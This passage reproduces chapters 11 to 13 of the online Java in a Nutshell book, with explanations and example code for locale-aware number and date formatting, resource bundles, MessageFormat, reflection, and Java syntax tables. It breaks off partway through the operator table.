    if (to == null) to = System.getProperty("file.encoding");
    // Set up character streams.
    Reader r = new BufferedReader(new InputStreamReader(in, from));
    Writer w = new BufferedWriter(new OutputStreamWriter(out, to));
    // Copy characters from input to output.  The InputStreamReader converts
    // from the input encoding to Unicode, and the OutputStreamWriter converts
    // from Unicode to the output encoding.  Characters that cannot be
    // represented in the output encoding are output as '?'
    char[] buffer = new char[4096];
    int len;
    while((len = r.read(buffer)) != -1)  // Read a block of input.
      w.write(buffer, 0, len);           // And write it out.
    r.close();                           // Close the input.
    w.flush();                           // Flush and close output.
    w.close();
  }
}

Previous | Home | Next
Unicode | Book Index | Handling Local Customs
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.4 Handling Local Customs

Java in a Nutshell

Previous Chapter 11
Internationalization 		Next

11.4 Handling Local Customs

The second problem of internationalization is the task of following local customs and conventions in areas like date and time formatting. The java.text package defines classes to help with this duty.

The NumberFormat class is used to format numbers, monetary amounts, and percentages in a locale-dependent way for display to the user. This is necessary because different locales have different conventions for number formatting. For example, in France, a comma is used as a decimal separator instead of a period, as used in many English speaking countries. A NumberFormat object can use the default locale or any locale you specify.

The DateFormat class is used to format dates and times in a locale-dependent way for display to the user. Different countries have different conventions. Should the month or day be displayed first? Should periods or colons be used to separate fields of the time? What are the names of the months in the language of the locale? A DateFormat object can simply use the default locale or it can use any locale you specify. The DateFormat class is used in conjunction with the TimeZone and Calendar classes of java.util. The TimeZone object tells the DateFormat what time zone the date should be interpreted in, while the Calendar object specifies how the date itself should be broken down into days, weeks, months, and years. Almost all locales use the standard GregorianCalendar.

The Collator class is used to compare strings in a locale-dependent way. This is necessary because different languages "alphabetize" strings in different ways (and some languages don't even use alphabets). In traditional Spanish, for example, the letters "ch" are treated as a single character that comes between "c" and "d" for the purposes of sorting. When you need to sort strings or search for a string within Unicode text, you should use a Collator object, either one created to work with the default locale or one created for a specified locale.

The BreakIterator class allows you to locate character, word, line, and sentence boundaries in a locale-dependent way. This is useful when you need to recognize such boundaries in Unicode text, as when you are implementing a word-wrapping algorithm.

Example 11.3 shows a class that uses the NumberFormat and DateFormat classes to display a hypothetical stock portfolio to the user following local conventions. The program uses various NumberFormat and DateFormat objects to format (using the format() method) different types of numbers and dates. These Format objects all operate using the default locale, but could have been created with an explicitly specified locale. Example 11.2 shows the output of this program in American, Canadian, and French locales. Note the different treatment of dates, numbers, and monetary quantities in these three locales.

Example 11.2: Dates and Numbers Formatted for Three Locales

# American English locale (en_US)
Portfolio value at April 08, 1997 6:57:40 PM PDT:
Symbol  Shares  Bought On       At      Quote   Change
XXX     400     6/15/96         $11.90  $13.00  9%
YYY     1,100   9/14/96         $71.09  $27.25  -61%
ZZZ     6,000   6/27/91         $23.37  $89.12  281%
# Canadian English locale (en_CA)
Portfolio value at April 8, 1997 9:57:40 CDT PM:
Symbol  Shares  Bought On       At      Quote   Change
XXX     400     15/06/96        $11.90  $13.00  9%
YYY     1,100   14/09/96        $71.09  $27.25  -61%
ZZZ     6,000   27/06/91        $23.37  $89.12  281%
# French locale (fr_FR)
Portfolio value at 9 avril 1997 03:57:40 GMT+02:00:
Symbol  Shares  Bought On       At      Quote   Change
XXX     400     15/06/96        11,90 F 13,00 F 9%
YYY     1 100   14/09/96        71,09 F 27,25 F -61%
ZZZ     6 000   27/06/91        23,37 F 89,12 F 281%

Example 11.3: Formatting Dates and Numbers in an Internationalized Program

import java.text.*;
import java.util.Date;
/**
 * A partial implementation of a hypothetical stock portfolio class.
 * We use it only to demonstrate number and date internationalization.
 */
public class Portfolio {
  EquityPosition[] positions;
  Date lastQuoteTime = new Date();
  public void print() {
    // Obtain NumberFormat and DateFormat objects to format our data.
    NumberFormat number = NumberFormat.getInstance();
    NumberFormat price = NumberFormat.getCurrencyInstance();
    NumberFormat percent = NumberFormat.getPercentInstance();
    DateFormat shortdate = DateFormat.getDateInstance(DateFormat.SHORT);
    DateFormat fulldate = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                                         DateFormat.LONG);
    // Print some introductory data.
    System.out.println("Portfolio value at " +
                       fulldate.format(lastQuoteTime) + ":");
    System.out.println("Symbol\tShares\tBought On\tAt\t" +
                       "Quote\tChange");
    // Then display the table using the format() methods of the Format objects.
    for(int i = 0; i < positions.length; i++) {
      System.out.print(positions[i].name + "\t");
      System.out.print(number.format(positions[i].shares) + "\t");
      System.out.print(shortdate.format(positions[i].purchased) + "\t");
      System.out.print(price.format(positions[i].bought) + "\t");
      System.out.print(price.format(positions[i].current) + "\t");
      double change =
        (positions[i].current - positions[i].bought)/positions[i].bought;
      System.out.println(percent.format(change));
    }
  }
  static class EquityPosition {
    String name;             // Name of the stock.
    int shares;              // Number of shares held.
    Date purchased;          // When purchased.
    double bought, current;  // Purchase price and current price (per share).
    EquityPosition(String n, int s, Date when, double then, double now) {
      name = n; shares = s; purchased = when; bought = then; current = now;
    }
  }
}

Previous | Home | Next
Character Encodings | Book Index | Localizing User-Visible Messages
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.5 Localizing User-Visible Messages

Java in a Nutshell

Previous Chapter 11
Internationalization 		Next

11.5 Localizing User-Visible Messages

The third task of internationalization involves ensuring that there are no user-visible strings that are hard-coded in an application, instead of being looked up based on the locale. In Example 11.3, for example, the strings "Portfolio value", "Symbol", "Shares", and others are hard-coded in the application and appear in English, even when the program is run in the French locale. The only way to prevent this is to fetch all user-visible messages at runtime, and to translate every message into each of the languages that your application must support.

Java 1.1 helps you handle this task with the ResourceBundle class of the java.util package. This class represents a "bundle" of resources that can be looked up by name. You define a localized resource bundle for each locale you want to support, and Java takes care of loading the correct bundle for the default (or specified) locale. With the correct bundle loaded, you can look up the resources (typically strings) that your program needs at runtime.

Working with Resource Bundles

To define a bundle of localized resources, you create a subclass of ResourceBundle and provide definitions for the handleGetObject() and getKeys() methods. handleGetObject() is passed the name of a resource; it should return an appropriate localized version of that resource. getKeys() should return an Enumeration object that gives the user a list of all resource names defined in the ResourceBundle. Instead of subclassing ResourceBundle directly, however, it is often easier to subclass ListResourceBundle. You can also simply provide a property file (see the java.util.Properties class) that ResourceBundle.getBundle() uses to create an instance of PropertyResourceBundle.

To use localized resources from a ResourceBundle in a program, you should first call the static getBundle() method, which dynamically loads and instantiates a ResourceBundle, as described below. The returned ResourceBundle has the name you specify and is appropriate for the specified locale (or for the default locale, if no locale is explicitly specified). Once you have obtained a ResourceBundle object with getBundle(), you use the getObject() method to look up resources by name. Note that there is a convenience method, getString(), that simply casts the value returned by getObject() to be a String object.

When you call getBundle(), you specify the base name of the desired ResourceBundle and a desired locale (if you don't want to rely on the default locale). Recall that a Locale is specified with a two-letter language code, an optional two-letter country code, and an optional variant string. getBundle() looks for an appropriate ResourceBundle class for the locale by appending this locale information to the base name for the bundle. The method looks for an appropriate class with the following algorithm:

  1. Search for a class with the following name:

    basename_language_country_variant

    If no such class is found, or no variant string is specified for the locale, it goes to the next step.

  2. Search for a class with the following name:

    basename_language_country

    If no such class is found, or no country code is specified for the locale, it goes to the next step.

  3. Search for a class with the following name:

    basename_language

    If no such class is found, it goes to the final step.

  4. Search for a class which has the same name as the basename, or in other words, seach for a class with the following name:

    basename

    This represents a default resource bundle used by any locale that is not explicitly supported.

At each step in the above process, getBundle() checks first for a class file with the given name. If no class file is found, it uses the getResourceAsStream() method of ClassLoader to look for a Properties file with the same name as the class and a .properties extension. If such a properties file is found, its contents are used to create a Properties object and getBundle() instantiates and returns a PropertyResourceBundle that exports the properties in the Properties file through the ResourceBundle API.

If getBundle() cannot find a class or properties file for the specified locale in any of the four search steps above, it repeats the search using the default locale instead of the specified locale. If no appropriate ResourceBundle is found in this search either, getBundle() throws a MissingResourceException.

Any ResourceBundle object may have a parent ResourceBundle specified for it. When you look up a named resource in a ResourceBundle, getObject() first looks in the specified bundle, but if the named resource is not defined in that bundle, it recursively looks in the parent bundle. Thus, every ResourceBundle "inherits" the resources of its parent, and may choose to "override" some, or all, of these resources. (Note that we are using the terms "inherit" and "override" in a different sense than we do when talking about classes that inherit and override methods in their superclass.) What this means is that every ResourceBundle you define does not have to define every resource required by your application. For example, you might define a ResourceBundle of messages to display to French-speaking users. Then you might define a smaller and more specialized ResourceBundle that overrides a few of these messages so that they are appropriate for French-speaking users who live in Canada.

Your application is not required to find and set up the parent objects for the ResourceBundle objects it uses. The getBundle() method actually does this for you. When getBundle() finds an appropriate class or properties file as described above, it does not immediately return the ResourceBundle it has found. Instead, it continues through the remaining steps in the search process listed above, looking for less-specific class or properties files from which the ResourceBundle may "inherit" resources. If and when getBundle() finds these less-specific resource bundles, it sets them up as the appropriate ancestors of the original bundle. Only once it has checked all possibilities does it return the original ResourceBundle object that it created.

To continue the example begun above, when a program runs in Québec, getBundle() might first find a small specialized ResourceBundle class that has only a few specific Québecois resources. Next, it looks for a more general ResourceBundle that contains French messages and it sets this bundle as the parent of the original Québecois bundle. Finally, getBundle() looks for (and probably finds) a class that defines a default set of resources, probably written in English (assuming that English is the native tongue of the original programmer). This default bundle is set as the parent of the French bundle (which makes it the grandparent of the Québecois bundle). When the application looks up a named resource, the Québecois bundle is searched first. If the resource is not defined there, then the French bundle is searched, and finally, any named resource not found in the French bundle is looked up in the default bundle.

ResourceBundle Example

Examining some code makes this discussion of resource bundles much clearer. Example 11.4 is a convenience routine for creating menu panes. Given a list of menu item names, it looks up labels and menu shortcuts for those named menu items in a resource bundle and creates a localized menu pane. The example has a simple test program attached. Figure 11.2 shows the menus it creates in the American, British, and French locales. This program could not run, of course, without localized resource bundles from which the localized menu labels are looked up. Example 11.4 shows American, British, and French resource files used to create each of the menus shown in the figure.

Figure 11.2: Localized menu panes

[Graphic: Figure 11-2]

Example 11.4: Creating Localized Menu Panes

import java.awt.*;
import java.awt.event.*;
import java.util.Locale;
import java.util.ResourceBundle;
import java.util.MissingResourceException;
/** A convenience class to automatically create localized menu panes. */
public class SimpleMenu {
  /** The convenience method that creates menu panes. */
  public static Menu create(String bundlename,
                            String menuname, String[] itemnames,
                            ActionListener listener, boolean popup) {
    // Get the resource bundle used for this menu.
    ResourceBundle b = ResourceBundle.getBundle(bundlename);
    // Get the menu title from the bundle.  Use name as default label.
    String menulabel;
    try { menulabel = b.getString(menuname + ".label"); }
    catch(MissingResourceException e) { menulabel = menuname; }
    // Create the menu pane.
    Menu m;
    if (popup) m = new PopupMenu(menulabel);
    else m = new Menu(menulabel);
    // For each named item in the menu.
    for(int i = 0; i < itemnames.length; i++) {
      // Look up the label for the item, using name as default.
      String itemlabel;
      try { itemlabel=b.getString(menuname + "." + itemnames[i] + ".label"); }
      catch (MissingResourceException e) { itemlabel = itemnames[i]; }
      // Look up a shortcut for the item, and create the menu shortcut, if any.
      String shortcut;
      try{shortcut = b.getString(menuname + "." + itemnames[i]+".shortcut"); }
      catch (MissingResourceException e) { shortcut = null; }
      MenuShortcut ms = null;
      if (shortcut != null) ms = new MenuShortcut(shortcut.charAt(0));
      // Create the menu item.
      MenuItem mi;
      if (ms != null) mi = new MenuItem(itemlabel, ms);
      else mi = new MenuItem(itemlabel);
      // Register an action listener and command for the item.
      if (listener != null) {
        mi.addActionListener(listener);
        mi.setActionCommand(itemnames[i]);
      }
      // Add the item to the menu.
      m.add(mi);
    }
    // Return the automatically created localized menu.
    return m;
  }
  /** A simple test program for the above code. */
  public static void main(String[] args) {
    // Set the default locale based on the command-line args.
    if (args.length == 2) Locale.setDefault(new Locale(args[0], args[1]));
    Frame f = new Frame("SimpleMenu Test");  // Create a window.
    MenuBar menubar = new MenuBar();         // Create a menubar.
    f.setMenuBar(menubar);                   // Add menubar to window.
    // Create a menu using our convenience routine (and the default locale).
    Menu colors = SimpleMenu.create("Menus", "colors",
                                    new String[] { "red", "green", "blue" },
                                    null, false);
    menubar.add(colors);                     // Add the menu to the menubar.
    f.setSize(300, 150);                     // Set the window size.
    f.show();                                // Pop the window up.
  }
}

This example does not stand alone. It relies on resource bundles to localize the menu. Example 11.5 shows three property files that serve as resource bundles for this example. Note that this single example listing actually contains the bodies of three separate files.

Example 11.5: Property Files as Resource Bundles

# The file Menus.properties is the default "Menus" resource bundle.
# As an American programmer, I made my own locale the default.
colors.label=Colors
colors.red.label=Red
colors.red.shortcut=R
colors.green.label=Green
colors.green.shortcut=G
colors.blue.label=Blue
colors.blue.shortcut=B
# This is the file Menus_en_GB.properties.  It is the resource bundle for
# British English.  Note that it overrides only a single resource definition
# and simply inherits the rest from the default (American) bundle.
colors.label=Colours
# This is the file Menus_fr.properties.  It is the resource bundle for all
# French-speaking locales.  It overrides most, but not all, of the resources
# in the default bundle.
colors.label=Couleurs
colors.red.label=Rouge
colors.green.label=Vert
colors.green.shortcut=V
colors.blue.label=Bleu

Previous | Home | Next
Handling Local Customs | Book Index | Formatted Messages
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.6 Formatted Messages

Java in a Nutshell

Previous Chapter 11
Internationalization 		Next

11.6 Formatted Messages

We've seen that in order to internationalize programs, you must place all user-visible messages into resource bundles. This is straightforward when the text to be localized consists of simple labels like those on buttons and menu items. It is trickier, however, with messages that consist partially of static text and partially of dynamic values. For example, a compiler might have to display a message like "Error at line 5 of file 'hello.java'," in which the line number and filename are dynamic and locale-independent, while the rest of the message is static and needs to be localized.

The MessageFormat class of the java.text package helps tremendously with these types of messages. To use it, you store only the static parts of a message in the ResourceBundle and include special characters that indicate where the dynamic parts of the message are to be placed. For example, one resource bundle might contain the message: "Error at line {0} of file {1}." And another resource bundle might contain a "translation" that looks like this: "Erreur: {1}: {0}."

To use such a localized message, you create a MessageFormat object from the static part of the message, and then call its format() method, passing in an array of the values to be substituted. In this case, the array would contain an Integer object that specifies the line number and a String object that specifies the filename. The MessageFormat class knows about other Format classes defined in java.text. It creates and uses NumberFormat objects to format numbers and DateFormat objects to format dates and times. In addition, you can design messages that create ChoiceFormat objects to convert from numbers to strings--this is useful when working with enumerated types such as numbers that correspond to month names, or when you need to use the singular or plural form of a word based on the value of some number.

Example 11.6 demonstrates this kind of MessageFormat usage. It is a convenience class with a single static method for the localized display of exception and error messages. When invoked, the code attempts to load a ResourceBundle with the basename "Errors." If found, it looks up a message resource using the class name of the exception object that was passed. If such a resource is found, it is used to display the error message. An array of five values is passed to the format() method. The localized error message can include any or all of these arguments.

The LocalizedError.display() method defined in this example was used in Example 11.1 at the beginning of this chapter. Example 11.7 shows the default Errors.properties resource bundle used in conjunction with that example. Error message display for the program is nicely internationalized. Porting the program's error message to a new locale is simply a matter of translating (localizing) the Errors.properties file.

Example 11.6: Internationalizing Error Message Display with MessageFormat

import java.text.*;
import java.io.*;
import java.util.*;
/**
 * A convenience class that can display a localized exception message
 * depending on the class of the exception.  It uses a MessageFormat,
 * and passes five arguments that the localized message may include:
 *   {0}: the message included in the exception or error.
 *   {1}: the full class name of the exception or error.
 *   {2}: a guess at what file the exception was caused by.
 *   {3}: a line number in that file.
 *   {4}: the current date and time.
 * Messages are looked up in a ResourceBundle with the basename
 * "Errors," using the full class name of the exception object as
 * the resource name.  If no resource is found for a given exception
 * class, the superclasses are checked.
 */
public class LocalizedError {
  public static void display(Throwable error) {
    ResourceBundle bundle;
    // Try to get the resource bundle.
    // If none, print the error in a non-localized way.
    try { bundle = ResourceBundle.getBundle("Errors"); }
    catch (MissingResourceException e) {
      error.printStackTrace(System.err);
      return;
    }
    // Look up a localized message resource in that bundle, using the
    // classname of the error (or its superclasses) as the resource name.
    // If no resource was found, display the error without localization.
    String message = null;
    Class c = error.getClass();
    while((message == null) && (c != Object.class)) {
      try { message = bundle.getString(c.getName()); }
      catch (MissingResourceException e) { c = c.getSuperclass(); }
    }
    if (message == null) { error.printStackTrace(System.err);  return; }
    // Try to figure out the filename and line number of the
    // exception.  Output the error's stack trace into a string, and
    // use the heuristic that the first line number that appears in
    // the stack trace is after the first or  second colon.  We assume that
    // this stack frame is the first one the programmer has any control
    // over, and so report it as the location of the exception.
    String filename = "";
    int linenum = 0;
    try {
      StringWriter sw = new StringWriter();    // Output stream into a string.
      PrintWriter out = new PrintWriter(sw);   // PrintWriter wrapper.
      error.printStackTrace(out);              // Print stacktrace.
      String trace = sw.toString();            // Get it as a string.
      int pos = trace.indexOf(':');            // Look for first colon.
      if (error.getMessage() != null)          // If the error has a message
        pos = trace.indexOf(':', pos+1);       // look for second colon.
      int pos2 = trace.indexOf(')', pos);      // Look for end of line number.
      linenum = Integer.parseInt(trace.substring(pos+1,pos2));  // Get linenum.
      pos2 = trace.lastIndexOf('(', pos);      // Back to start of filename.
      filename = trace.substring(pos2+1, pos); // Get filename.
    }
    catch (Exception e) { ; }                  // Ignore exceptions.
    // Set up an array of arguments to use with the message.
    String errmsg = error.getMessage();
    Object[] args = {
      ((errmsg!= null)?errmsg:""), error.getClass().getName(),
      filename, new Integer(linenum), new Date()
    };
    // Finally, display the localized error message, using
    // MessageFormat.format() to substitute the arguments into the message.
    System.out.println(MessageFormat.format(message, args));
  }
}

Example 11.7 shows the resource bundle properties file used to localize the set of possible error messages that could be thrown by the ConvertEncoding class shown at the beginning of this chapter. With a resource bundle like this, ConvertEncoding produces error messages like the following:

Error: Specified encoding not supported
        Error occurred at line 46 of file "ConvertEncoding.java"
        at 7:55:28 PM on 08-Apr-97

Example 11.7: A ResourceBundle Properties File Containing Localized Error Messages

#
# This is the file Errors.properties.
# One property for each class of exceptions that our program might
# report.  Note the use of backslashes to continue long lines onto the
# next.  Also note the use of \n and \t for newlines and tabs.
#
java.io.FileNotFoundException: \
Error: File "{0}" not found\n\t\
Error occurred at line {3} of file "{2}"\n\tat {4}
java.io.UnsupportedEncodingException: \
Error: Specified encoding not supported\n\t\
Error occurred at line {3} of file "{2}"\n\tat {4,time} on {4,date}
java.io.CharConversionException:\
Error: Character conversion failure.  Input data is not in specified format.
# A generic resource.  Display a message for any error or exception that
# is not handled by a more specific resource.
java.lang.Throwable:\
Error: {1}: {0}\n\t\
Error occurred at line {3} of file "{2}"\n\t{4,time,long} {4,date,long}

Previous | Home | Next
Localizing User-Visible Messages | Book Index | Reflection
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Reflection

Java in a Nutshell

Previous Chapter 12 Next

12. Reflection

Contents:
Obtaining Class and Member Information
Invoking a Named Method

As noted in Chapter 4, What's New in Java 1.1, the Reflection API allows a Java program to inspect and manipulate itself. The Reflection API comprises the much-expanded Class class in java.lang and the java.lang.reflect package, which represents the members of a class with Method, Constructor, and Field objects.

Reflection can be used to obtain information about a class and its members. This is the technique that the JavaBeans "introspection" mechanism uses to determine the properties, events, and methods that are supported by a bean, for example. Reflection can also be used to manipulate objects in Java. You can use the Field class to query and set the values of fields, the Method class to invoke methods, and the Constructor class to create new objects. The examples in this chapter demonstrate both techniques for using the Reflection API.

12.1 Obtaining Class and Member Information

Example 12.1 shows a program that uses the Class, Constructor, Field, and Method classes to display information about a specified class. The program's output is similar to the class synopses that appear in the reference section of this book. (You might notice that the names of method arguments are not shown; argument names are not stored in class files, so they are not available through the Reflection API.)

Here is the output from using ShowClass on itself:

% java ShowClass ShowClass
public class ShowClass extends java.lang.Object {
 // Constructors
  public ShowClass();
 // Fields
 // Methods
  public static void main(java.lang.String[]);
  public static void print_class(java.lang.Class);
  public static java.lang.String typename(java.lang.Class);
  public static java.lang.String modifiers(int);
  public static void print_field(java.lang.reflect.Field);
  public static void print_method_or_constructor(java.lang.reflect.Member);
}

The code for this example is quite straightforward. It uses the Class.forName() method to dynamically load the named class, and calls various methods of Class object to look up the superclass, interfaces, and members of the class. The example uses Constructor, Field, and Method objects to obtain information about each member of the class.

Example 12.1: Obtaining Class and Member Information with the Reflection API

import java.lang.reflect.*;
/** A program that displays a class synopsis for the named class. */
public class ShowClass {
  /** The main method.  Print info about the named class. */
  public static void main(String[] args) throws ClassNotFoundException {
    Class c = Class.forName(args[0]);
    print_class(c);
  }
  /** Display the modifiers, name, superclass, and interfaces of a class
   *  or interface. Then go and list all constructors, fields, and methods. */
  public static void print_class(Class c)
  {
    // Print modifiers, type (class or interface), name, and superclass.
    if (c.isInterface()) {
      // The modifiers will include the "interface" keyword here...
      System.out.print(Modifier.toString(c.getModifiers()) +  c.getName());
    }
    else
      System.out.print(Modifier.toString(c.getModifiers()) + " class " +
                       c.getName() +
                       " extends " + c.getSuperclass().getName());
    // Print interfaces or super-interfaces of the class or interface.
    Class[] interfaces = c.getInterfaces();
    if ((interfaces != null) && (interfaces.length > 0)) {
      if (c.isInterface()) System.out.println(" extends ");
      else System.out.print(" implements ");
      for(int i = 0; i < interfaces.length; i++) {
        if (i > 0) System.out.print(", ");
        System.out.print(interfaces[i].getName());
      }
    }
    System.out.println(" {");            // Begin class member listing.
    // Now look up and display the members of the class.
    System.out.println(" // Constructors");
    Constructor[] constructors = c.getDeclaredConstructors();
    for(int i = 0; i < constructors.length; i++)      // Display constructors.
      print_method_or_constructor(constructors[i]);
    System.out.println(" // Fields");
    Field[] fields = c.getDeclaredFields();           // Look up fields.
    for(int i = 0; i < fields.length; i++)            // Display them.
      print_field(fields[i]);
    System.out.println(" // Methods");
    Method[] methods = c.getDeclaredMethods();        // Look up methods.
    for(int i = 0; i < methods.length; i++)           // Display them.
      print_method_or_constructor(methods[i]);
    System.out.println("}");             // End class member listing.
  }
  /** Return the name of an interface or primitive type, handling arrays. */
  public static String typename(Class t) {
    String brackets = "";
    while(t.isArray()) {
      brackets += "[]";
      t = t.getComponentType();
    }
    return t.getName() + brackets;
  }
  /** Return a string version of modifiers, handling spaces nicely. */
  public static String modifiers(int m) {
    if (m == 0) return "";
    else return Modifier.toString(m) + " ";
  }
  /** Print the modifiers, type, and name of a field. */
  public static void print_field(Field f) {
    System.out.println("  " +
                       modifiers(f.getModifiers()) +
                       typename(f.getType()) + " " + f.getName() + ";");
  }
  /** Print the modifiers, return type, name, parameter types, and exception
   *  type of a method or constructor.  Note the use of the Member interface
   *  to allow this method to work with both Method and Constructor objects. */
  public static void print_method_or_constructor(Member member) {
    Class returntype=null, parameters[], exceptions[];
    if (member instanceof Method) {
      Method m = (Method) member;
      returntype = m.getReturnType();
      parameters = m.getParameterTypes();
      exceptions = m.getExceptionTypes();
    } else {
      Constructor c = (Constructor) member;
      parameters = c.getParameterTypes();
      exceptions = c.getExceptionTypes();
    }
    System.out.print("  " + modifiers(member.getModifiers()) +
                     ((returntype!=null)? typename(returntype)+" " : "") +
                     member.getName() + "(");
    for(int i = 0; i < parameters.length; i++) {
      if (i > 0) System.out.print(", ");
      System.out.print(typename(parameters[i]));
    }
    System.out.print(")");
    if (exceptions.length > 0) System.out.print(" throws ");
    for(int i = 0; i < exceptions.length; i++) {
      if (i > 0) System.out.print(", ");
      System.out.print(typename(exceptions[i]));
    }
    System.out.println(";");
  }
}

Previous | Home | Next
Formatted Messages | Book Index | Invoking a Named Method
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.2 Invoking a Named Method

Java in a Nutshell

Previous Chapter 12
Reflection 		Next

12.2 Invoking a Named Method

Example 12.2 demonstrates another use of the Reflection API. This UniversalActionListener object uses reflection to invoke a named method of a specified object, passing another optionally specified object as an argument. It does this in the framework of the ActionListener interface, so that it can serve as an action listener within a Java 1.1 GUI. By using the reflection capabilities of the UniversalActionListener, a program can avoid having to create a lot of trivial ActionListener implementations to handle action events. The main() method at the end of this example is a simple test GUI that demonstrates how you could use the UniversalActionListener object. Contrast it with the anonymous class event-handling techniques demonstrated in Chapter 7, Events.

Java does not allow methods to be passed directly as data values, but the Reflection API makes it possible for methods passed by name to be invoked indirectly. Note that this technique is not particularly efficient. For asynchronous event handling in a GUI, though, it is certainly efficient enough: indirect method invocation through the Reflection API will always be much faster than the response time required by the limits of human perception. Invoking a method by name is not an appropriate technique, however, when repetitive, synchronous calls are required. Thus, you should not use this technique for passing a comparison method to a sorting routine or passing a filename filter to a directory listing method. In cases like these, you should use the standard technique of implementing a class that contains the desired method and passing an instance of the class to the appropriate routine.

Example 12.2: Invoking a Named Method with Reflection

import java.awt.event.*;
import java.lang.reflect.*;
import java.awt.*;   // Only used for the test program below.
public class UniversalActionListener implements ActionListener {
  protected Object target;
  protected Object arg;
  protected Method m;
  public UniversalActionListener(Object target, String methodname, Object arg)
       throws NoSuchMethodException, SecurityException
  {
    this.target = target;                            // Save the target object.
    this.arg = arg;                                  // And method argument.
    // Now look up and save the Method to invoke on that target object.
    Class c, parameters[];
    c = target.getClass();                           // The Class object.
    if (arg == null) parameters = new Class[0];      // Method parameter.
    else parameters = new Class[] { arg.getClass() };
    m = c.getMethod(methodname, parameters);         // Find matching method.
  }
  public void actionPerformed(ActionEvent event) {
    Object[] arguments;
    if (arg == null) arguments = new Object[0];      // Set up arguments.
    else arguments = new Object[] { arg };
    try { m.invoke(target, arguments); }             // And invoke the method.
    catch (IllegalAccessException e) {               // Should never happen.
      System.err.println("UniversalActionListener: " + e);
    } catch (InvocationTargetException e) {          // Should never happen.
      System.err.println("UniversalActionListener: " + e);
    }
  }
  // A simple test program for the UniversalActionListener.
  public static void main(String[] args) throws NoSuchMethodException {
    Frame f = new Frame("UniversalActionListener Test");// Create window.
    f.setLayout(new FlowLayout());                      // Set layout manager.
    Button b1 = new Button("tick");                     // Create buttons.
    Button b2 = new Button("tock");
    Button b3 = new Button("Close Window");
    f.add(b1); f.add(b2); f.add(b3);                    // Add them to window.
    // Specify what the buttons do.  Invoke a named method with
    // the UniversalActionListener object.
    b1.addActionListener(new UniversalActionListener(b1, "setLabel", "tock"));
    b1.addActionListener(new UniversalActionListener(b2, "setLabel", "tick"));
    b1.addActionListener(new UniversalActionListener(b3, "hide", null));
    b2.addActionListener(new UniversalActionListener(b1, "setLabel", "tick"));
    b2.addActionListener(new UniversalActionListener(b2, "setLabel", "tock"));
    b2.addActionListener(new UniversalActionListener(b3, "show", null));
    b3.addActionListener(new UniversalActionListener(f, "dispose", null));
    f.pack();                                             // Set window size.
    f.show();                                             // And pop it up.
  }
}

Previous | Home | Next
Obtaining Class and Member Information | Book Index | Java Syntax
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] Java Syntax

Java in a Nutshell

Previous Chapter 13 Next

13. Java Syntax

Contents:
Primitive Data Types
Character Escape Sequences
Operators
Modifiers
Reserved Words
Java Documentation Comment Syntax

13.1 Primitive Data Types

Java supports a complete set of primitive data types, listed in Table 13.1. In Java, the size of each type is defined by the language, and is not implementation dependent, as it is in C.

Table 13.1: Java Primitive Data Types
 |  |  |  | Min Value
Type | Contains | Default | Size | Max Value
boolean | true or false | false | 1 bit | N.A.
 |  |  |  | N.A.
char | Unicode character | \u0000 | 16 bits | \u0000
 |  |  |  | \uFFFF
byte | signed integer | 0 | 8 bits | -128
 |  |  |  | 127
short | signed integer | 0 | 16 bits | -32768
 |  |  |  | 32767
int | signed integer | 0 | 32 bits | -2147483648
 |  |  |  | 2147483647
long | signed integer | 0 | 64 bits | -9223372036854775808
 |  |  |  | 9223372036854775807
float | IEEE 754 | 0.0 | 32 bits | +/-3.40282347E+38
 | floating-point |  |  | +/-1.40239846E-45
double | IEEE 754 | 0.0 | 64 bits | +/-1.79769313486231570E+308
 | floating-point |  |  | +/-4.94065645841246544E-324

Previous | Home | Next
Invoking a Named Method | Book Index | Character Escape Sequences
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.2 Character Escape Sequences

Java in a Nutshell

Previous Chapter 13
Java Syntax 		Next

13.2 Character Escape Sequences

Java uses the escape sequences listed in Table 13.2 to represent certain special character values. These escape sequences may appear in any Java char or String literal.

Table 13.2: Java Escape Characters
Escape Sequence | Character Value
\b | Backspace
\t | Horizontal tab
\n | Newline
\f | Form feed
\r | Carriage return
\" | Double quote
\' | Single quote
\\ | Backslash
\xxx | The character corresponding to the octal value xxx, where xxx is between 000 and 0377.
\uxxxx | The Unicode character with encoding xxxx, where xxxx is one to four hexidecimal digits. Unicode escapes are distinct from the other escape types listed here; they are described below in more detail.

Java characters, strings, and identifiers (e.g., field, method, and class names) are composed of 16-bit Unicode characters. The Unicode \u escape sequence may be used anywhere in a Java program (not only in char and String literals) to represent a Unicode character.

Unicode \u escape sequences are processed before the other escape sequences described in Character Escape Sequences, and thus the two types of escape sequences can have very different semantics. A Unicode escape is simply an alternative way to represent a character which may not be displayable on non-Unicode systems. The character escapes, however, can represent special characters in a way that prevents the usual interpretation of those characters by the compiler.

Previous | Home | Next
Primitive Data Types | Book Index | Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.3 Operators

Java in a Nutshell

Previous Chapter 13
Java Syntax 		Next

13.3 Operators

Operators lists the operators of the Java language, along with their precedence, operand types, and associativity.

Table 13.3: Java Operators
Prec. | Operator | Operand Type(s) | Assoc. | Operation Performed
1 | ++ | arithmetic | R | pre-or-post increment (unary)
 | -- | arithmetic | R | pre-or-post decrement (unary)
 | +, - | arithmetic | R | unary plus, unary minus
 | ~ | integral | R | bitwise complement (unary)
 | ! | boolean | R | logical complement (unary)
 | (type) | any | R | cast
2 | *, /, % | arithmetic | L | multiplication, division, remainder
3 | +, - | arithmetic | L | addition, subtraction
 | + | string | L | string concatenation
4 | << | integral | L | left shift
 | >> | integral | L | right shift with sign extension
 | >>> | integral | L | right shift with zero extension
5 | <, <= | arithmetic | L | less than, less than or equal
 | >, >= | arithmetic | L | greater than, greater than or equal
 | instanceof | object, type | L | type comparison
6 | == | primitive | L | equal (have identical values)
 | != | primitive | L | not equal (have different values)
 | == | object | L | equal (refer to same object)
 | != | object | L | not equal (refer to different objects)
7 | & | integral | L | bitwise AND
